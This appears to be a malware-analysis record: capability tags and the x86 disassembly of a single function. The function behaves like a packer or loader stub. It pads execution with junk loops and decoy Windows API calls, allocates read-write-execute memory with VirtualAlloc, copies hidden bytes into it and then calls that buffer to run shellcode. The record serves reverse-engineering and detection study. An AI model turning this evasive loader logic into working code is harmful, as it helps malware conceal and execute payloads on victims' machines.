Function at 0x403390
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get disk size
Get file attributes
Get hostname
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x456678
push eax
mov eax, 0x1034
mov dword fs:[0], esp
call fcn.0040ffb0
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
nop
call dword [sym.imp.KERNEL32.dll_GetLastError]
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x4033da
inc esi
cmp esi, 0x73f04bd
jl 0x4033c0
cmp dword [0x460c2c], 0x400
jne 0x403474
push ebx
lea eax, [ebp - 0x440]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsW]
xor ecx, ecx
mov dword [ebp - 0x1c], 7
mov dword [ebp - 0x20], ebx
mov word [ebp - 0x30], cx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.00404965
push ebx
call fcn.00404d28
add esp, 0xc
push ebx
push ebx
push ebx
call fcn.00404ff1
add esp, 0xc
push ebx
call fcn.00404ef9
add esp, 4
push ebx
call fcn.0040513e
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
sub esp, 8
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.00404840
fstp st(0)
add esp, 0x10
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], 8
jb 0x403474
mov edx, dword [ebp - 0x30]
push edx
call fcn.00404be5
add esp, 4
cmp dword [0x460c2c], 0x93
jne 0x4034f2
push ebx
push ebx
xor eax, eax
btr dword [eax], 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
push ebx
push ebx
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00404ac9
add esp, 8
call fcn.00404837
push 1
push 0x459400
lea ecx, [ebp - 0x24]
call fcn.004048a7
lea ecx, [ebp - 0x24]
mov dword [ebp - 0x24], 0x402dbc
call fcn.00404921
push ebx
call fcn.00404aa8
add esp, 4
push ebx
call fcn.00404abe
add esp, 4
push ebx
push ebx
call fcn.00404d07
add esp, 8
call fcn.00403380
push ebx
call fcn.004051ba
add esp, 4
mov eax, dword [0x460c2c]
mov ecx, dword [0x45bd24]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x461a68], ecx
mov dword [0x460c2c], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x4606bc], eax
mov esi, 0x1692e
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x403526
cmp dword [0x460c2c], ebx
jbe 0x4035d1
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea esp, [esp]
mov edx, dword [0x461a68]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x4606bc]
mov byte [ecx + esi], al
cmp dword [0x460c2c], 0x490
jne 0x4035c6
push 0
push 0
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
lea eax, [ebp - 0x840]
push eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x18]
push eax
push 0
lea ecx, [ebp - 0x1040]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
lea edx, [ebp - 0x14]
push edx
push 0
lea eax, [ebp - 0x2c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
inc esi
cmp esi, dword [0x460c2c]
jb 0x403550
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
xor esi, esi
mov ecx, dword [0x460c2c]
add ecx, esi
cmp ecx, 0x8d
jne 0x40360d
push ebx
lea edx, [ebp - 0x440]
push edx
push ebx
push ebx
push ebx
push ebx
call edi
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
inc esi
cmp esi, 0x38681
jl 0x4035d9
call fcn.00403300
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x40362d
call edi
cmp esi, 0x207142
jg 0x40363e
inc esi
cmp esi, 0x67d12
jl 0x403623
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x40365e
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x4ec8
mov edx, dword [ebp - 0x10]
add dword [0x4606bc], edx
inc esi
cmp esi, 0x674bd
jl 0x403640
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
mov dword [ebp - 0x10], 0x7b
cmp dword [0x460c2c], 0x86
jne 0x4036b5
push 0
call esi
push 0
lea eax, [ebp - 0x1040]
push eax
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
cmp dword [0x460c2c], 0xf
jne 0x4036e2
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExA]
sub dword [ebp - 0x10], 1
jne 0x403680
call fcn.00403010
call dword [0x4606bc]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret